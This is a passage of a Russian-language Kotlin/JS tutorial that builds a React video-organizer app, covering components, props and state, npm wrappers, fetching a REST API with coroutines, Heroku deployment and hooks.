### Компонент для списка
Какие части нашего приложения дублируются? Конечно же, *списки видео* – и это сразу же заметно. Так как и список непросмотренного, и список просмотренного имеют одинаковую функциональность, есть смысл создать единый компонент и переиспользовать его.
Сделаем это в новом файле `VideoList.kt`. Подобно классу `App`, создадим класс `VideoList`, наследующий `RComponent` и содержащий HTML DSL со списком `unwatchedVideos`:
```
import react.*
import react.dom.*
@JsExport
class VideoList : RComponent() {
override fun RBuilder.render() {
for (video in unwatchedVideos) {
p {
+"${video.speaker}: ${video.title}"
}
}
}
}
```
Теперь часть со списками внутри `App` можно сделать примерно такой:
```
div {
h3 {
+"Videos to watch"
}
child(VideoList::class) {}
h3 {
+"Videos watched"
}
child(VideoList::class) {}
}
```
Однако здесь можно заметить проблему: `App` не управляет содержимым списка. Сейчас содержимое захардкожено и будет всегда одинаковое. Выходит, нам нужен механизм передачи списка *внутрь компонента*.
### Добавляем атрибуты
Теперь мы понимаем, что при переиспользовании компонента-списка мы бы хотели заполнять его разным содержимым. Другими словами, вместо хранения списка элементов статически, мы хотели бы задавать его внешне и передавать компоненту как атрибуты. В терминологии Реакта такие атрибуты называются `props`. Когда атрибуты задаются, Реакт берет на себя задачу по их передаче в компонент и по рендерингу компонента.
В нашем случае мы хотим добавить атрибут, содержащий список докладов. Давайте переработаем наш код. Создайте следующий интерфейс в файле `VideoList.kt`:
```
external interface VideoListProps : RProps {
var videos: List
}
```
Теперь изменим объявление класса `VideoList`, чтобы он использовал этот атрибут:
```
@JsExport
class VideoList : RComponent() {
override fun RBuilder.render() {
for (video in props.videos) {
p {
key = video.id.toString()
+"${video.speaker}: ${video.title}"
}
}
}
}
```
Так как содержимое компонента теперь потенциально динамично (то есть переданные в рантайме атрибуты могут меняться, мы так и будем делать в следующих шагах), следует проставлять свойство `key` в каждый элемент списка. Он помогает Реакту понять, какие части списка нужно обновить, а какие можно оставить без изменений – хорошая и почти бесплатная оптимизация! Больше информации насчет списков и ключей можно найти, например, в [официальном гайде Реакта](https://reactjs.org/docs/lists-and-keys.html).
Наконец, на месте использования `VideoList` (внутри `App`) нам остается передать правильные атрибуты. Подставьте `unwatchedVideos` и `watchedVideos` примерно так:
```
child(VideoList::class) {
attrs.videos = unwatchedVideos
}
```
Проверьте в браузере, что списки рендерятся, как задумано. Таким образом, мы инкапсулировали обязанность рендеринга списка видео внутри соответствующего компонента. Это должно укорачивать исходный код и делать его более легкочитаемым и понимаемым как для нас, так и для коллег.
### Уменьшаем громоздкость вызова
Если вам тоже не очень нравится предыдущая конструкция, мы можем улучшить ее, используя крутую котлиновскую фичу под названием [функция с получателем](https://kotlinlang.org/docs/reference/lambdas.html#function-literals-with-receiver). Выделим функцию, которая делает доступ к компонентам легче: она выполняет то же самое, что и предыдущая конструкция, но изменяет синтаксис использования:
```
fun RBuilder.videoList(handler: VideoListProps.() -> Unit): ReactElement {
return child(VideoList::class) {
attrs.handler()
}
}
```
Расскажем, что происходит в этом коде: мы определяем функцию `videoList` как [расширение](https://kotlinlang.org/docs/reference/extensions.html) для типа `RBuilder`. Функция принимает единственный параметр `handler` – функцию-расширение для `VideoListProps`, возвращающую `Unit`. Функция оборачивает вызов `child` (который мы делали изначально для вставки `VideoList`), и вызывает `handler` на объекте `attrs`.
Основной смысл такой функции – облегчение синтаксиса использования нашего компонента: теперь мы можем писать просто
```
videoList {
videos = unwatchedVideos
}
```
В общем, мы убираем из вызова не сильно информативные слова типа `child`, `class` и `attrs`, оставляя только специфичные для конкретного компонента символы. Аналогичные функции можно писать для всех компонентов, которые вы описываете. Запомните этот трюк! При желании потренироваться уже сейчас можете попробовать это проделать для класса `App`.
### Добавляем интерактивность
Основная цель нашего компонента-списка – задавать видео для показа в видеоплеере. Чтобы это сделать, нужно позволить пользователю взаимодействовать с элементами списка. Начнем с простого: будем показывать выбранное пользователем видео в диалоге `alert`.
Для этого модифицируем код внутри функции `VideoList.render`. Сделаем так, чтобы при клике на элемент `p` соответствующее сообщение показывалось бы в диалоге:
```
p {
key = video.id.toString()
attrs {
onClickFunction = {
window.alert("Clicked $video!")
}
}
+"${video.speaker}: ${video.title}"
}
```
Если IntelliJ IDEA просит добавить импорты, это можно сделать по нажатию `Alt+Enter`. Или можно добавить импорты вручную:
```
import kotlinx.html.js.onClickFunction
import kotlinx.browser.window
```
Теперь при клике на элементе списка в браузере мы увидим всплывающее сообщение о выбранном элементе:
> Оформлять значение `onClickFunction` как лямбду довольно коротко, и это удобно как минимум для прототипирования. Однако на данный момент эквивалентность ссылок на функции в Kotlin/JS работает [не очень очевидно](https://youtrack.jetbrains.com/issue/KT-15101). Поэтому передача лямбды на самом деле не сильно эффективна в плане производительности. Если вам нужна максимальная эффективность, необходимо сохранять ссылки на функции в неменяющихся во время выполнения переменных и передавать в качестве значений для `onClickFunction` и других подобных свойств эти переменные.
### Добавляем состояние
Не устали?
Давайте сделаем настоящий селектор видео вместо вывода всплывающего сообщения. Будем подсвечивать выбранное видео треугольником (`|>`). Реакт нам поможет – он позволяет ввести некоторое *состояние* для компонента. Это будет очень похоже на добавление атрибутов – надо объявить интерфейс:
```
external interface VideoListState : RState {
var selectedVideo: Video?
}
```
Дальше надо сделать следующее:
* Подредактировать объявление класса `VideoList`, чтобы в качестве типа состояния он использовал `VideoListState` – нужно унаследовать компонент от `RComponent<..., VideoListState>`.
* При рендеринге списка для выбранного видео мы должны выводить треугольник в качестве префикса.
* Внутри `onClickFunction` надо записывать в состояние `selectedVideo` то видео, которое соответствует кликнутому элементу. Чтобы компонент перерисовывался при изменении состояния, код для изменения нужно обернуть лямбду и передать ее в функцию `setState`.
Когда проделаем это, мы получим такой класс:
```
@JsExport
class VideoList : RComponent() {
override fun RBuilder.render() {
for (video in props.videos) {
p {
key = video.id.toString()
attrs {
onClickFunction = {
setState {
selectedVideo = video
}
}
}
if (video == state.selectedVideo) {
+"|> "
}
+"${video.speaker}: ${video.title}"
}
}
}
}
```
> **Состояние стоит модифицировать только внутри `setState`**. Так Реакт сможет обнаружить изменения и перерисовать нужные части UI быстро и эффективно.
На этом шаге у нас все, но более подробно о состоянии можно почитать в официальном [React FAQ](https://reactjs.org/docs/faq-state.html).
> Состояние проекта после выполнения этого шага доступно в ветке `step-03-first-component` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/step-03-first-component).
Шаг 5. Работаем совместно. Композиция компонентов
-------------------------------------------------
Сделанные нами на предыдущем шаге пара списков сами по себе вполне работают. Однако, если мы кликнем по одному видео в каждом из списков, мы можем выбрать *два видео* одновременно. Это неправильно, ведь у нас только один плеер :)
По-хорошему, у обоих списков должно быть единое состояние – выбранное видео, которое будет одним на все приложение. Но единое состояние не может (и не должно) храниться в разных компонентах. Принято выносить состояние наверх (как еще говорят, "поднимать" состояние).
### Вынос состояния наверх
Чтобы не прибивать гвоздями разные компоненты друг к другу и не создавать спагетти-код, можно воспользоваться иерархией компонентов Реакта: передавать атрибуты из родительского компонента. Если компонент хочет изменять состояние соседнего компонента, это следует делать через общего родителя. Значит, состояние должно быть не в соседнем компоненте, а именно в родителе. Миграция состояния из компонента к родителю называется **выносом** состояния. Давайте выносить его в нашем случае! Для этого нам нужно добавить состояние для нашего родительского компонента, `App`. Будем действовать примерно так же, как и с состоянием для `VideoList`.
Объявим интерфейс:
```
external interface AppState : RState {
var currentVideo: Video?
}
```
И сошлемся на него в классе `App`:
```
@JsExport
class App : RComponent()
```
Удалим `VideoListState`, так как мы теперь будем хранить эту информацию выше. Получается, мы вообще убрали состояние у списка, так что вернем его состояние к стандартному в описании класса:
```
@JsExport
class VideoList : RComponent()
```
Теперь передадим вниз состояние выбранного видео из `App` в `VideoList` как атрибут. Добавим свойство в интерфейс `VideoListProps`, которое будет содержать выбранное видео:
```
external interface VideoListProps : RProps {
var videos: List
var selectedVideo: Video?
}
```
Поправим условие для показа треугольника выбранного видео, чтобы оно использовало атрибуты вместо состояния:
```
if (video == props.selectedVideo) {
+"|> "
}
```
Но есть еще одна проблема, которую создал наш рефакторинг: у компонента нет доступа к родительскому состоянию, так что вызов `setState` внутри `onClickFunction` не сможет сделать ничего полезного. Чтобы побороть это и в итоге опять получить работающее приложение, давайте поднимем кое-что еще.
### Передача обработчиков
К сожалению, Реакт не позволяет изменять состояние родительского компонента напрямую, как бы мы этого ни хотели. Но мы можем поступить по-другому: перенести логику обработки действия пользователя в атрибут и передавать его из родителя. Помните, что в Котлине у переменных может быть [функциональный тип](https://kotlinlang.org/docs/reference/lambdas.html#function-types)? Добавим еще в одно свойство в интерфейс – функцию, принимающую `Video` и возвращающую `Unit`:
```
external interface VideoListProps : RProps {
var videos: List
var selectedVideo: Video?
var onSelectVideo: (Video) -> Unit
}
```
И соответственно поменяем `onClickFunction` на вызов этой функции из атрибутов:
```
onClickFunction = {
props.onSelectVideo(video)
}
```
Теперь мы сможем передавать выбранное видео как атрибут и вынести логику *выбора* видео в родительский компонент, где и будем менять состояние. Иными словами, мы хотим поднять логику обработки кликов в родителя. Обновим оба места использования `videoList`:
```
videoList {
videos = unwatchedVideos
selectedVideo = state.currentVideo
onSelectVideo = { video ->
setState {
currentVideo = video
}
}
}
```
Второе место отличается присваиванием `watchedVideos`.
При необходимости перекомпилируйте проект и убедитесь, что теперь все работает логично: при выборе видео в двух списках, треугольник перепрыгивает между списками, а не дублируется. Возможно, вы даже удивитесь, как все оказалось просто.
> Состояние проекта после выполнения этого шага доступно в ветке `step-04-composing-components` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/step-04-composing-components).
Шаг 6. Больше компонентов!
--------------------------
Мы сделали один компонент отдельным и самодостаточным, а также оставили у него возможность взаимодействовать с приложением. Давайте проделаем то же самое для остальных частей приложения.
### Выносим компонент видеоплеера
Еще одна часть приложения, которую стоит вынести как обособленную единицу – это видеоплеер (его мы все еще заменяем картинкой-заглушкой). Давайте подумаем, какие атрибуты понадобятся для видеоплеера: это автор видео, название и ссылка. На самом деле, все эти свойства уже имеет объект типа `Video`, так что будем передавать его как атрибут. Создадим новый компонент `VideoPlayer` в файле `VideoPlayer.kt`:
```
import kotlinx.css.*
import kotlinx.html.js.onClickFunction
import react.*
import react.dom.*
import styled.*
external interface VideoPlayerProps : RProps {
var video: Video
}
@JsExport
class VideoPlayer : RComponent() {
override fun RBuilder.render() {
styledDiv {
css {
position = Position.absolute
top = 10.px
right = 10.px
}
h3 {
+"${props.video.speaker}: ${props.video.title}"
}
img {
attrs {
src = "https://via.placeholder.com/640x360.png?text=Video+Player+Placeholder"
}
}
}
}
}
fun RBuilder.videoPlayer(handler: VideoPlayerProps.() -> Unit): ReactElement {
return child(VideoPlayer::class) {
this.attrs(handler)
}
}
```
Теперь заменим предыдущий `styledDiv` с видеоплеером (в файле `App.kt`) на только что вынесенный компонент. Будем его отрисовывать, только если выбрано какое-то видео – воспользуемся комбинацией оператора безопасного вызова и функции `let`, тогда переданный в `let` блок кода будет выполняться, если `currentVideo` не равно `null`:
```
state.currentVideo?.let { currentVideo ->
videoPlayer {
video = currentVideo
}
}
```
### Добавляем и присоединяем кнопку
Пока что в приложении нет способа двигать видео между списками непросмотренных и просмотренных. Для решения этой задачи добавим кнопку в `VideoPlayer`.
Мы хотим двигать элементы между разными списками, а они находятся за пределами нашего компонента `VideoPlayer`. Вспомним, что в подобных случаях нам надо выносить в общего родителя логику обработки нажатия кнопки.
Попробуем сделать кнопку-переключатель. При нажатии ее состояние, например, текст, будет изменяться в зависимости от того, просмотрено видео или нет. Для этого будем передавать еще и состояние кнопки.
Добавим еще свойств в интерфейс `VideoPlayerProps`:
```
external interface VideoPlayerProps : RProps {
var video: Video
var onWatchedButtonPressed: (Video) -> Unit
var unwatchedVideo: Boolean
}
```
Мы уже создали несколько компонентов, так что реализация кнопки не должна быть сложной задачей. Попробуем использовать атрибуты для изменения CSS свойств: будем раскрашивать кнопку динамически на основе состояния видео. Добавим следующий HTML DSL в метод `render` видеоплеера, между тегами `h3` и `img`:
```
styledButton {
css {
display = Display.block
backgroundColor = if (props.unwatchedVideo) Color.lightGreen else Color.red
}
attrs {
onClickFunction = {
props.onWatchedButtonPressed(props.video)
}
}
if (props.unwatchedVideo) {
+"Mark as watched"
} else {
+"Mark as unwatched"
}
}
```
### Перемещаем списки видео в состояние приложения
Перед тем как изменить вызов `VideoPlayer`, подумаем о логике его работы.
При клике на кнопку видео должно быть либо перенесено из списка `unwatched` в `watched`, либо наоборот.
То есть списки могут изменяться. Давайте тогда перенесем их в состояние приложения! Опять добавим дополнительные свойства в интерфейс:
```
external interface AppState : RState {
var currentVideo: Video?
var unwatchedVideos: List
var watchedVideos: List
}
```
Начальные значения состояния можно задать в методе `init`. Сделаем это, переопределив метод в классе `App`:
```
override fun AppState.init() {
unwatchedVideos = listOf(
KotlinVideo(1, "Building and breaking things", "John Doe", "https://youtu.be/PsaFVLr8t4E"),
KotlinVideo(2, "The development process", "Jane Smith", "https://youtu.be/PsaFVLr8t4E"),
KotlinVideo(3, "The Web 7.0", "Matt Miller", "https://youtu.be/PsaFVLr8t4E")
)
watchedVideos = listOf(
KotlinVideo(4, "Mouseless development", "Tom Jerry", "https://youtu.be/PsaFVLr8t4E")
)
}
```
Теперь можно удалить `unwatchedVideos` и `watchedVideos` из файла `Main.kt`, а в файле `Main.kt` заменить все вызовы (`un`)`watchedVideos`, которые наверняка IDE уже успела подсветить как ошибочные, на `state.`(`un`)`watchedVideos`.
Наконец, подкорректируем вызов видеоплеера. Он будет выглядеть вот так:
```
videoPlayer {
video = currentVideo
unwatchedVideo = currentVideo in state.unwatchedVideos
onWatchedButtonPressed = {
if (video in state.unwatchedVideos) {
setState {
unwatchedVideos -= video
watchedVideos += video
}
} else {
setState {
watchedVideos -= video
unwatchedVideos += video
}
}
}
}
```
Вернитесь в браузер, выберите видео, нажмите на кнопку пару раз и убедитесь, что видео перемещается между двумя списками.
Таким образом, мы реализовали основную логику нашего приложения. Будет здорово, если вы поиграетесь со стилями кнопки, и выберете тот, который вам больше всего по душе. Можете даже попробовать вынести кнопку в отдельный переиспользуемый компонент!
Время откинуться на спинку кресла и переложить тяжелую работу на других. В следующем шаге поговорим об использовании готовых и общедоступных Реакт компонентов из Котлина.
> Состояние проекта после выполнения этого шага доступно в ветке `step-05-more-components` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/step-05-more-components).
Шаг 7. Использование NPM пакетов
--------------------------------
Хотя мы уже неплохо продвинулись, в приложении все еще отсутствуют жизненно важные части. Вместо написания всего с нуля, попробуем использовать богатую экосистему, построенную вокруг Реакта. В ней есть тонна уже готовых компонентов, так что давайте действительно не переизобретать велосипед, а использовать их.
Первая и самая очевидная недостающая функциональность – это видеоплеер.
### Добавляем компонент видеоплеера
Нужно заменить нашу заглушку на компонент, способный показывать видео с Ютуба. Воспользуемся компонентом из библиотеки `react-youtube-lite`. Его документацию и API можно найти в [README](https://www.npmjs.com/package/react-youtube-lite).
Вспомним самое начало практики. Там мы видели зависимость на `react-youtube-lite`, объявленную в файле Gradle. Вот то место:
```
dependencies {
// ...
// Video Player (шаг 7)
implementation(npm("react-youtube-lite", "1.0.1"))
// ...
}
```
Вы понимаете правильно – NPM зависимости могут быть добавлены в Gradle проект с помощью функции `npm`. `yarn`, который вызывается Kotlin/JS Gradle плагином под капотом, позаботится о загрузке, установке и обновлении этих зависимостей.
Когда мы хотим использовать NPM модули из Котлина, необходимо рассказать компилятору о сигнатурах: что можно вызывать, присваивать или читать. После этого все будет статически типизировано, и IDE сможет помогать нам писать обычный код на Котлине. Объявлять декларации для каждого внешнего модуля надо в отдельном файле. Создадим файл `ReactYouTube.kt` со следующим содержимым:
```
@file:JsModule("react-youtube-lite")
@file:JsNonModule
import react.*
@JsName("ReactYouTubeLite")
external val reactPlayer: RClass
```
Импорты и экспорты в JavaScript – относительно непростая тема, поэтому иногда бывает сложно найти правильную комбинацию аннотаций, чтобы компилятор Котлина импортировал все правильно. Последние две строчки в нашем случае – это эквивалент `require("react-youtube-lite").default` в JS. Они говорят компилятору: "мы уверены, что в рантайме тут получится компонент, соответствующий `RClass`".
#### Типизированные обертки для компонента
Однако, оставив все в таком виде, мы откажемся от большого количества возможностей Котлина. Объявление `dynamic` типа говорит компилятору, что значение этого типа может быть любым. Компилятор не будет проверять такие объекты, а значит есть высокий риск, что что-то сломается во время исполнения (например, в проде).
К счастью, мы уже видели, как в Котлине объявляются реактовские атрибуты (как `external` интерфейс), а их имена мы можем найти опять же в README библиотеки. Так что на самом деле написание типобезопасных деклараций – довольно простая задача. Мы можем объявить только те свойства, которые будем использовать – в первую очередь нам будет полезно задавать ссылку на видео. Поменяем декларацию видеоплеера вот так:
```
@file:JsModule("react-youtube-lite")
@file:JsNonModule
import react.*
@JsName("ReactYouTubeLite")
external val reactPlayer: RClass
external interface ReactYouTubeProps : RProps {
var url: String
}
```
Самое время заменить скучный серый прямоугольник внутри компонента `VideoPlayer` на только что задекларированный настоящий плеер! Удалим тег `img` и заменим его на следующее:
```
reactPlayer {
attrs.url = props.video.videoUrl
}
```
### Добавляем кнопки шера
Получать удовольствие от докладов с KotlinConf лучше вместе (что является правдой и для многих других занятий). Кнопки шера – общепризнанный способ поделиться с друзьями и коллегами качественным контентом. Такие кнопки могут поддерживать, например, мессенджеры и электронную почту. Для кнопок есть уже существующие Реакт компоненты, например, из пакета [react-share](https://github.com/nygardk/react-share/blob/master/README.md). Этот пакет тоже уже объявлен в конфигурации Gradle:
```
dependencies {
// ...
// Share Buttons (шаг 7)
implementation(npm("react-share", "~4.2.1"))
// ...
}
```
Опять напишем декларации. Если посмотрим на [примеры](https://github.com/nygardk/react-share/blob/master/demo/Demo.tsx) с ГитХаба, увидим, что кнопки состоят из двух компонентов: например, `EmailShareButton` и `EmailIcon`. И почти все из них имеют одинаковые атрибуты. Файл с декларациями получается примерно следующий; назовем его `ReactShare.kt`:
```
@file:JsModule("react-share")
@file:JsNonModule
import react.RClass
import react.RProps
@JsName("EmailIcon")
external val emailIcon: RClass
@JsName("EmailShareButton")
external val emailShareButton: RClass
@JsName("TelegramIcon")
external val telegramIcon: RClass
@JsName("TelegramShareButton")
external val telegramShareButton: RClass
external interface ShareButtonProps : RProps {
var url: String
}
external interface IconProps : RProps {
var size: Int
var round: Boolean
}
```
Давайте добавим две кнопки над компонентом видеоплеера. Напишем следующий код перед вызовом `reactPlayer` (обернем в `styledDiv`, чтобы сделать расположение компонентов подходящим):
```
styledDiv {
css {
display = Display.flex
marginBottom = 10.px
}
emailShareButton {
attrs.url = props.video.videoUrl
emailIcon {
attrs.size = 32
attrs.round = true
}
}
telegramShareButton {
attrs.url = props.video.videoUrl
telegramIcon {
attrs.size = 32
attrs.round = true
}
}
}
```
Теперь можно проверить, что кнопки действительно работают. Если кликнуть по ним, должно открыться окно. Если же ничего не происходит, возможно, у вас включен скрывающий такие кнопки блокировщик рекламы.
Если хотите, можете написать декларации для других кнопок в этой библиотеке и тоже добавить их на экран.
> Состояние проекта после выполнения этого шага доступно в ветке `step-06-packages-from-npm` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/step-06-packages-from-npm).
Шаг 8. Используем внешнее REST API
----------------------------------
Вас может расстраивать, что до сих пор мы показываем только очень ограниченный захардкоженный список видео. Давайте теперь заменим эти данные реальными, получать которые мы будем из REST API.
Для этой практики мы создали небольшое API, доступное по ссылке <https://my-json-server.typicode.com/kotlin-hands-on/kotlinconf-json/videos/1>. У этого API только одна ручка – `videos`, которая может возвращать информацию видео по его номеру. Попробуйте поделать запросы к этому API из браузера. Вы увидите, что возвращаемые объекты имеют ту же структуру, что и объекты `Video` в нашем коде (какое совпадение `;)`). В следующей секции мы обсудим, как приложение может запрашивать эти данные и преобразовывать их в наши котлиновские объекты.
### Использование функциональности JS из Котлина
Даже без добавления библиотек браузеры дают множество возможностей. В стандартной библиотеке Kotlin/JS есть обертки как раз для этих стандартных браузерных вызовов, позволяющие делать эти вызовы комфортно и типобезопасно прямо из кода на Котлине. Мы воспользуемся обертками для [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API), чтобы делать HTTP запросы для обращения к REST API.
Типичный способ создавать асинхронные программы в экосистеме JavaScript – использовать колбеки. При этом приходится раз за разом дожидаться выполнения промисов, заключая функции внутрь функций, которые в свою очередь тоже могут быть заключены в других функциях. Чем сложнее код, тем тяжелее будет синтаксис из-за отступов и скобок. Код будет съезжать вправо, его будет сложнее читать и понимать весь поток выполнения, как нам, так и другим разработчикам. Несмотря на эти недостатки, в нашем случае код с колбеками может быть довольно простым:
```
window.fetch("https://url...").then {
it.json().then {
it.unsafeCast()
//...
}
}
```
**Но мы будем использовать другой подход**. Обратимся к котлиновским корутинам, более красивому и структурированному способу добиться той же цели.
### Корутины вместо колбеков
Корутины и структурированная конкурентность (structured concurrency) – гигантская тема в Котлине. Если вы хотите хорошо в них разобраться, попробуйте пройти [практику по корутинам](https://play.kotlinlang.org/hands-on/Introduction%20to%20Coroutines%20and%20Channels/). Сейчас же мы обсудим их только поверхностно. Начнем с добавления библиотеки корутин в зависимости нашего проекта.
Как и другие зависимости в нашей практики, соответствующий Gradle код уже присутствует в конфигурации еще с момента начальной настройки проекта:
```
dependencies {
//...
// Coroutines (шаг 8)
implementation("org.jetbrains.kotlinx:kotlinx-coroutines-core:1.3.9")
}
```
Давайте теперь запросим информацию о видео, используя корутины!
### Запрашиваем первое видео
Внутри `App.kt` или в новом файле, напишем функцию, которая будет получать видео из REST API:
```
suspend fun fetchVideo(id: Int): Video {
val response = window
.fetch("https://my-json-server.typicode.com/kotlin-hands-on/kotlinconf-json/videos/$id")
.await()
.json()
.await()
return response as Video
}
```
С помощью быстрых исправлений импортируем нужные объекты и функции. Или добавим импорты наверху файла вручную:
```
import kotlinx.browser.window
import kotlinx.coroutines.*
```
Попробуем понять, что происходит в этой *suspend функции*. Мы запрашиваем информацию о видео с помощью функции `fetch`, подставляя `id` видео в ссылку на API. Ждем готовности ответа (`await`), преобразуем ответ к JSON, опять ждем уже готовности преобразования. После этого мы кастуем результат к объявленному в ходе нашей практики `external interface Video` и возвращаем его из функции. Скорее всего, IDE подсветит каст как непроверенный – но это нормально при использовании JavaScript вызовов типа `fetch`: компилятор *не может быть уверен наверняка*, что на этом месте получится экземпляр `Video`. Компилятор вынужден верить разработчику. **Примечание переводчика**: чтобы убирать такие предупреждения, можно либо заглушать их с помощью аннотации `@Suppress`, либо использовать метод `unsafeCast` (`response.unsafeCast()`).
Обсудим происходящее чуть подробнее. Вызовы функций `window.fetch` и `json` на самом деле возвращают промис. Мы могли бы передать колбек, который выполнится при готовности результата промиса. Однако так как в нашем проекте доступны корутины, мы можем вместо возни с колбеками просто подождать (`await`) готовности результата. Таким образом, написанный код выглядит последовательным, но остается неблокирующим. Когда вызывается `await`, на самом деле выполнение всей функции приостанавливается (отсюда требование помечать такую функцию как `suspend`). Когда результат промиса готов, выполнение функции продолжается.
### Используем suspend функцию
Давайте наконец запросим список видео, например, взяв первые 25. Для этого объявим функцию `fetchVideos`, вызывающую предыдущую функцию 25 раз. Так как мы хотим одновременного выполнения запросов, мы можем использовать еще одну функцию корутин для запуска suspend кода – `async`. Тогда реализация будет выглядеть примерно так:
```
suspend fun fetchVideos(): List = coroutineScope {
(1..25).map { id ->
async {
fetchVideo(id)
}
}.awaitAll()
}
```
Для правильности [структурированной конкурентности](https://kotlinlang.org/docs/reference/coroutines/basics.html#structured-concurrency) мы оборачиваем весь код функции в `coroutineScope`. Внутри мы запускаем 25 асинхронных задач, по одной на запрос, и ждем выполнения их всех.
Воспользуемся возможностью еще раз напомнить о [практике по корутинам](https://play.kotlinlang.org/hands-on/Introduction%20to%20Coroutines%20and%20Channels/), где обо всем этом рассказывается намного более полно.
После получения реальных данных настает время использовать их в нашем приложении. Чтобы сделать это, поменяем функцию `init` нашего класса `App`:
```
override fun AppState.init() {
unwatchedVideos = listOf()
watchedVideos = listOf()
val mainScope = MainScope()
mainScope.launch {
val videos = fetchVideos()
setState {
unwatchedVideos = videos
}
}
}
```
Заметьте, что хотя мы внутри функции `init`, мы все равно вызываем `setState` для изменения `unwatchedVideos` внутри корутины. Это происходит из-за того, что наш код неблокирующий, и приложение скорее всего уже отрендерило пустой список, записанный в `unwatchedVideos` изначально. Вызывая `setState`, мы подскажем рендереру Реакта, что может быть необходима перерисовка.
По возвращении в браузер мы наконец должны увидеть настоящий список видео:
На этом часть по разработке в этой практике подошла к концу. Мы прошли долгий путь, от начальной производной "Hello, World" до вполне полноценного органайзера видео.
Не отключайтесь, если хотите узнать, как бандлить приложение для использования в продакшене, и как дать приложение в руки пользователям, опубликовав его в облаке.
> Состояние проекта после выполнения этого шага доступно в ветке `step-07-using-external-rest-api` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/step-07-using-external-rest-api).
Шаг 9. Деплоим в продакшен и в облако
-------------------------------------
После создания приложения хорошо бы его выложить для широкой общественности.
### Упаковка собранного приложения
Чтобы упаковать все необходимые файлы приложения для продакшена, достаточно просто запустить Gradle задачу `build` в тул-окне IntelliJ IDEA или с помощью команды `./gradlew build`. Она сгенерирует оптимизированный упакованный проект, применяя, например, DCE (dead code elimination – удаление неиспользуемого кода).
Необходимо подождать, после чего все нужные статические файлы будут созданы в папке `build/distributions`. Там будут JS файлы, HTML и другие ресурсы, которые необходимы приложению. Содержимое этой папки готово к деплою, то есть можно, например, положить эти файлы в любой статический HTTP сервер, добавить их на GitHub Pages или захостить на любом облаке.
### Деплоим на Heroku
Heroku дает довольно легко развернуть приложение на своем домене. Их бесплатный тариф должен быть достаточен при обучении; его точно хватит, чтобы выложить небольшое приложение и похвастаться перед друзьями и коллегами.
После [создания аккаунта](https://signup.heroku.com/) и [установки клиента и входа в него](https://devcenter.heroku.com/articles/heroku-cli) мы можем создать git репозиторий и Heroku приложение. Это делается такими командами в терминале:
```
git init
heroku create
git add .
git commit -m "initial commit"
```
В отличие от обычного JVM приложения, которое можно запустить на Heroku (например, написанное на Ktor или Spring Boot), наше приложение генерирует статичные файлы, которые надо раздавать сервером. Поэтому нужно соответствующе настроить Heroku:
```
heroku buildpacks:set heroku/gradle
heroku buildpacks:add https://github.com/heroku/heroku-buildpack-static.git
```
Для выполнения `heroku/gradle` необходимо иметь задачу `stage` в Gradle проекте. К счастью, это эквивалент задачи `build`, поэтому очень просто создать еще одну задачу, которая будет вызывать необходимую:
```
// Heroku Deployment (шаг 9)
tasks.register("stage") {
dependsOn("build")
}
```
Еще нужно сконфигурировать `buildpack-static`, добавив в проект корневой файл `static.json`. Он должен содержать единственное свойство `root`:
```
{
"root": "build/distributions"
}
```
Теперь можно вызвать деплой, например, такой последовательностью команд:
```
git add -A
git commit -m "add stage task and static content root configuration"
git push heroku master
```
> Если вы пушите не master ветку (а, например, ветку `step*` из репозитория с состоянием проекта), то нужно поменять команду, чтобы она продолжала пушить в master на Heroku (например, так: `git push heroku step-08-deploying-to-production:master`).
Если все прошло по плану, вы увидите ссылку, по которой можно достучаться до нашего приложения во всемирной паутине!
> Состояние проекта после выполнения этого шага доступно в ветке `final` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/final).
Шаг 10. В дополнение: современный Реакт с хуками
------------------------------------------------
Если вы прошли всю практику и хотите попробовать еще чего-нибудь крутого, в дополнение расскажем о более современных фичах Реакта.
В React 16.8 появились [хуки](https://reactjs.org/docs/hooks-intro.html). Они позволяют использовать состояние и другие возможности Реакта без написания классов для компонентов. Хорошая новость: котлиновские обертки Реакта поддерживают и хуки!
Чтобы понять, как устроен этот новый способ написания Реакт компонентов и как эта концепция реализована в Котлине, мы рассмотрим несколько самодостаточных примеров о двух самых используемых встроенных в Реакт хуках – state и effect. **Как и другие хуки, эти два используются внутри функциональных компонентов**.
### Функциональные компоненты
Идейно, реактовские функциональные компоненты сами по себе не очень сложны. Они представлены в виде функций, которые содержат инструкции для рендеринга компонента. Свойства для компонента передаются в саму функцию – они не хранятся в `this`. Простенький функциональный компонент можно написать на Котлине, например, вот так:
```
external interface WelcomeProps : RProps {
var name: String
}
val welcome = functionalComponent { props ->
h1 {
+"Hello, ${props.name}"
}
}
```
Как и для классовых компонентов, мы определяем свойства внутри `external interface`. Тип свойства для функционального компонента мы аналогично определяем в дженерике. Переданная в билдер `functionalComponent` функция может напоминать метод `render` для классовых компонентов.
Использовать этот компонент можно как обычно: достаточно передать его внутрь `child`:
```
child(welcome) {
attrs.name = "Kotlin"
}
```
Также уже знакомым вам образом можно реализовать более лаконичную обертку:
```
fun RBuilder.welcome(handler: WelcomeProps.() -> Unit) = child(welcome) {
attrs.handler()
}
```
Мы проделывали аналогичное действие на шаге 4. После этого для вставки компонента на страницу достаточно написать `welcome { name = "Kotlin" }`.
Как видите, пока что функциональные компоненты не дают нам чего-то нового. Но их полный потенциал раскрывается при использовании хуков.
### Хук State
Чтобы хранить состояние в функциональном компоненте, можно использовать соответствующий хук. В качестве примера рассмотрим следующую реализацию счетчика:
```
val counter = functionalComponent {
val (count, setCount) = useState(0)
button {
attrs.onClickFunction = { setCount(count + 1) }
+"$count"
}
}
```
Есть тройка ключевых моментов, которые происходят в примере:
* `useState` вызывается с изначальным значением `0` – поэтому тип этого элемента состояния выводится как `Int`. Также можно указать тип явно, что будет полезно, если придется работать с зануляемым значением (`useState(null)`).
* Вызов `useState` возвращает пару, которая сразу же деструктурируется:
1. Ссылка на текущее состояние (здесь это `count` типа `Int`);
2. Функция для изменения состояния (здесь это `setCount` типа `RSetState /\* = (Int) -> Unit \*/`).
* В отличие от классовых компонентов, изменение состояния не требуется производить внутри `setState`.
